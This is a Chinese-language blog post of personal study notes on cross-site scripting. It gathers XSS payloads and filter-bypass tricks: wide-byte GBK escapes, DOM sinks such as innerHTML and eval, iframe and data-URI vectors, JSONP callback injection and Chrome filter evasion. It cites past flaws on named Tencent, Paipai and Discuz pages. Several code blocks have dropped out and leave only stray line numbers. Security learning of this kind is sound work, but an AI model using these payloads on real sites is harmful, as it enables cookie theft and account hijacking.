Patrilic's blog

Xss

Word count: 0 / Reading time: 1 min
2018/02/24 Share

关于近期xss学习的一些总结

近来学习了乌云心伤的瘦子的腾讯xss教程,做一个小小的总结。
在secpulse上有搬运
资料网址:
XSS中的宽字节编码问题:http://www.rootat.net/2015/10/09/WideByteXSS/
DOM型XSS经典场景及修复:https://security.tencent.com/index.php/blog/msg/107
DOM-based XSS扫描工具:http://www.freebuf.com/sectool/5804.html
data协议:http://www.jb51.net/css/41981.html
腾讯大牛的文章:https://cloud.tencent.com/developer/article/1004753

靶场
http://47.94.13.75/test/
http://prompt.ml/0

xss的存在,必定伴随着输入和输出两个概念,所以在防御上,也只需要在这两个方面的进行过滤。
需要知道的一些东西:
1.js部分中 <> 等符号用 /uxxxx 方式表示 可在https://www.toolmao.com/xsstranser 进行在线js转义
2.DOM 全称Document Object Model 是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
DOM型XSS是一种特殊形式的反射型XSS 基于DOM文档的一种xss漏洞
3.data协议
4.JavaScript事件
5.存储型XSS

基于 css expression 的XSS(危害低)

例如
原HTML代码

type
1
2
3
4

进行xss

```<input type="text" value="1" onclick="alert(1)"/>

一般来说,我们利用htmlspecialchars()这个函数可以将”变成"防止xss注入
但若是输出在
可利用css允许的 \ + ascii 16

1
2
3
4
5
6
7
8

Tips:只有在IE 6, 7触发,受众面小
在针对对实体字符转义是,只要没有过滤&,#等符号
对待htmlspecialchars() 这个函数有个属性特别需要关注,只有设置了quotestyle选项为 ENT_QUOTES 才会过滤单引号

### 有关宽字节的xss
与SQL注入中的宽字节注入有些相似,在某些注入界面,当符号被过滤的时候,却发现页面编码为gbxxxx类型的编码
在这里引用师傅的一个例子:

<?php header(“Content-Type: text/html;charset=GBK”);?>

<head

xss

`

1
2
3
4
5
6
7
上面的代码在magic_quotes_gpc=On的情况下,如何触发XSS?

```gb.php?x=1";alert(1)//```必须将双引号闭合

但是双引号会被转义为\" 导致闭合失败

```a="1\";alert(1)//";

但是由于header中指出了网页编码为GBK形式

1
2
3
4

结果变为

```a="1[0x80]\";alert(a)//";

[0x81]\组成了一个合法字符,于是之后的双引号就会产生闭合,这样我们就成功触发了XSS。
要注意的是
1.由于这个网页头部响应指明了这是GBK编码,GBK编码第一字节(高字节)的范围是0x81~0xFE,第二字节(低字节)的范围是0x40~0x7E与0x80~0xFE,这样的十六进制表示。而\符号的十六进制表示为0x5C,正好在GBK的低字节中,如果之前有一个高字节,那么正好会被组成一个合法字符。
2.GB2312是被GBK兼容的,它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE(0x5C不在该范围内),把上面的PHP代码的GBK改为GB2312,在浏览器中处理行为同GBK,也许是由于GBK兼容GB2312,浏览器都做了同样的兼容:把GB2312统一按GBK行为处理。

瘦子师傅还给出了一种特殊的宽字节xss例子:由于站点可能过滤双引号的正则表达式错误,将%22换成 %c0%22可能会造成双引号不被html实体化影响

DOM-based XSS

innerHTML[显式输出]
1
2
3
4
5
6
7
8
9
<div id="a">xxx</div>



<script>

document.getElementById("a").innerHTML=" <img src=1> ";

</script>

当存在a的时候,将xxx的内容换位innerHTML中的内容
在大多数情况innerHTML中都为[xxxxx]+input
所以更改参数可以进行xss攻击,但大多过滤掉了<>等符号,可以在js代码中运用\u003c(\x3c) \u003e(\x3e)的方式替代
实际上只要是与改变页面HTML内容相关的操作,都可能导致这种问题。
比如
document.getElementById(“y”).innerHTML=”xxxxxxxxxx”;
document.write(“xxxxxxxxxxxx”);
还有一些网站,使用了第三方的JS库,譬如jQuery时,会有$(“#y”).html(“xxxxxxx”);

特别注意

1
2
3
4
5
6
7
8
9
10
11

这种情况下。xxxxx只能使用 <img src=1 onerror=alert(1)> 这种方式来触发JS。
而不能以 <script>alert(1)</script> 来触发,因为这种压根不会执行<script>..</script>之间的内容。
IE下,可以使用 <script defer>alert(1)</script>

##### 隐式输出
(基本就是通过调试台中搜索+console中测试来构造攻击代码(注意 decodeURIComponent+不同浏览器的location.href的不同(不同的过滤机制))其余与显式并无太大区别)

##### eval()
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
放出一段代码

var getarg = function()

{

var url = window.location.href;

var allargs = url.split("?")[1];

if (allargs!=null && allargs.indexOf("=")>0)

{

    var args = allargs.split("&");

    for(var i=0; i<args.length; i++)

    {

        var arg = args[i].split("=");

        eval('this.'+arg[0]+'="'+arg[1]+'";');

    }

}

};

1
2
3
4
5
6
7
8

审一下就知道,这段代码其实就是获取地址栏
比如gb.php?key=aaaaa
key就是arg[0] aaaaa就是arg[1]
所以我们利用这个eval执行一下里面的js代码
构造payload:

```gb.php?key;alert(1);//=aaaaa

1
2
3
4
5
6

需要注意的是,只能在ie下进行,因为chrome会自动将<>等字符转义 ';'=>%22

#### iframe
1.onload执行js
```<iframe onload="alert(1)"></iframe

2.src 执行javascript代码

src
1
2
3.IE下vbscript执行代码
```<iframe src="vbscript:msgbox(1)"></iframe>

4.Chrome下data协议执行代码

src
1
2
5.上面的变体
```<iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

6.Chrome下srcdoc属性

srcdoc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
7.IE下vbscript  ```vbscript:msgbox(1)'```     单引号表示注释

涉及到iframe的xss着重注意iframe id 一步一步往下看它的过滤条件,最后绕过,注意多种类型的iframe方式的js执行

##### 路径
当我们输入的一个参数作为一个JS文件的参数时 如果这个路径是可控的,那么就可能会带来XSS的威胁
地址可控基本上分为三个方面
1.script src='完全可控',这种情况只需要将地址换成js地址就可以了
2.script src='/path/xxx/[路径可控]/1.js',这种情况需要在同域名下有可控的文件,又分为两种
2.1 可以直接上传文本至同域名下,不一定要是HTML文件,需要上传点有过滤缺陷。
2.2 参数可控,利用可用的json接口,最终变为 script src="/path/xxx/.../yyy/xx.json?callback=alert(1)"
3.script src="/xxxx/json.php?callback=xxxx&param1=yyy&param2=[参数可控]"

3的情况如果参数可控,json参数又没有进行很好的过滤的话,就可能存在漏洞了。

简述一下瘦子师傅给出的漏洞证明
http://sse1.paipai.com/comm_json?callback=commentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1&degree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681
这是拍拍网中的一处xss,扫描器扫一下json可以看出callback,dtag,ranking可控,但是都无法使用<> 不存在xss风险,此外dtag,ranking都存在于双引号中,不便于控制,可以猜想调用:
http://sse1.paipai.com/comm_json?callback=alert(1);
会产生xss
a.直接调用,发现实际callback不可控。
b.修改后面的参数,param=xxx&callback=alert(1),以此来覆盖前面的callback
但是&本身是分隔符,不能让参数为空
实行b方案,查看参数传递到json接口的方式,给出其中一句关键性代码

```var keyword = decodeURIComp($getQuery('keyword')),

所以修改keyword = %26callback=alert(1)
这里如果没有decodeURIComp这个函数,可能b方案也不能实施,这个页面也就不存在xss漏洞了

Discuz 2.5

直接看实例点
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802
源代码中存在两处输出
a.

type
1
</script>

b.

href
1
2
3
4
5
6
7
8
9
10
11
12
13
14
先测试b
尝试闭合双引号,发现直接被Discuz拦截
目光放在a中,参数位于settimeout函数的第一个参数,setTimeout的第一个函数会将字符串作为脚本来执行。
自然而然的,我们先测试单引号,发现被过滤,但是因为setTimeout的函数的第一个参数是JS字符串,而JS字符串中,字符还可以表示为unicode的形式。
所以单引号可以表示为\u0027 or \x27
所以只需要测试\是否被过滤,如果没有被过滤,就可以直接构造payload了

### Flash xss
(略)--> 普遍使用h5(flash基本上被淘汰)
### XSS过滤器绕过
Chorme自带的过滤器会过滤掉一些有害代码,在IE下能进行的换到chrome中就不行了,怎么来绕过这个呢
给出两个例子...
1.
```http://bangbang.qq.com/php/login?game=roco&uin="><img src=1 onerror=alert(1)>&world=5&roleid=44583443&level=8&role=%2

chrome的过滤器自动将=alert(1)去掉
绕过方式
首先要求缺陷点,允许 < , > 。其次,要求缺陷点的后方存在 标签。 我们看看当前的这个点的代码。

1
2
3
4
5
6

<input type="hidden" id="sClientUin" value=""><img src=1 onerror=alert(1)>">



<script type="text/javascript" src="http://pingjs.qq.com/tcss.ping.js"></script>

可以利用如下代码嵌入进url中

src
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

成功绕过

2.源码

```var siDomain = paras['siDomain'],

g_StyleID = paras['g_StyleID'].replace("v6/","");

if(siDomain.indexOf(".qq.com")>-1){//防止qzs.qq.com

siDomain = paras['siDomain'] = "qzonestyle.gtimg.cn";

}

document.write('<link href="http://'+siDomain+'/qzone_v6/gb/skin/'+g_StyleID+'.css" rel="stylesheet" /><link href="http://'+siDomain+'/qzone_v6/home_normal.css" rel="stylesheet" />');

不难看出,g_StyleID和siDomain都是地址栏获取.通过document.write输出到页面里
构造攻击代码

1
2
3
IE下成功弹出,chrome下当作恶意代码自动拦截
观察地形
```g_StyleID = paras['g_StyleID'].replace("v6/","");

会将v6/替换为空
重新构造代码

1
2
自动替换为
```<script>alert(document.cookie)</body>script>

而document.cookie是不会被xss过滤器拦截的
成功绕过

存储型XSS

存储型XSS漏洞思路
1 先找到输出点,然后猜测此处输出是否会被过滤。
2 如果觉得可能没过滤,我们再找到这个输出是在哪里输入的。
3 接着开始测试输入,看输出的效果。
4 如果没过滤,那么你就成功了,否则你可以放弃掉它。

大概的例子就是,从@sogili维护的http://html5sec.org/ 里找到未被过滤的xss代码,从输出–>输入的角度,一个一个去尝试。
这样的例子有很多,就不列出来了

最后将教程和网上的资料中的小技巧总结一下

(反射型)地址栏参数输入–>查看源码输出–>F12查看输出–>console查看JS–>分析JS构造绕过代码–>在IE下成功–>过chrome过滤器
工具:
Firefox下
1.hackbar(自动构造XSS代码)
2.XSS Me(XSS测试扩展)
3.JavaScript Deobfuscator(显示网页上运行的javascript代码)
4.XSSed Search(搜索XSSed.Com跨站脚本数据库)
在做靶场的时候尽量在firefox下完成,chrome audit很烦…或者关闭之后也可以

XSS绕过常用方法
1.大小写绕过

1
2
3
4
5
6
7

2.编码绕过
2.1 十六进制编码
2.2 jsfuck编码
2.3 url编码
2.4 unicode编码
```<0x736372697074>alert('123')</0x736372697074>

src
1
2
3

3.绕过magic_quotes_gpc
```<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

4.标签
4.1闭合标签

1
```</script><script>alert(1)</script>

4.2标签绕过
src
1
```<button onclick="javascript:alert('xss')>XSS</button">
a
1
```"onsubmit=javascript:alert(1)%20name="a
open ontoggle
1
```<video src="http://www.0dutv.com/plug/down/up2.php/104678898.mp3" onprogress=$('body').prepend(123);$('body')></video>

5.其他符号绕过

替换空格
1
2
3
4
5
6
7
8

%0d 替换空格

/**/ 替换空格

%00 截断

`` 替换括号 alert`1`

6.双字符绕过

ononerrorerror
1
```<script>alalertert(123)</script>

7.宽字节绕过

%c0,%bf,%5c,%df```
1
2
3
4
5
6
7
8

8.其他事件绕过
``` onload 加载
onclick 点击
onerror 错误
prompt 显示对话框
confirm 显示一个带ok的对话框
onmousemove 当光标移开

CATALOG
  1. 1. 关于近期xss学习的一些总结
    1. 1.0.1. 基于 css expression 的XSS(危害低)
    2. 1.0.2. DOM-based XSS
      1. 1.0.2.0.1. innerHTML[显式输出]
      2. 1.0.2.0.2. Discuz 2.5
  2. 1.0.3. 存储型XSS
  3. 1.0.4. 最后将教程和网上的资料中的小技巧总结一下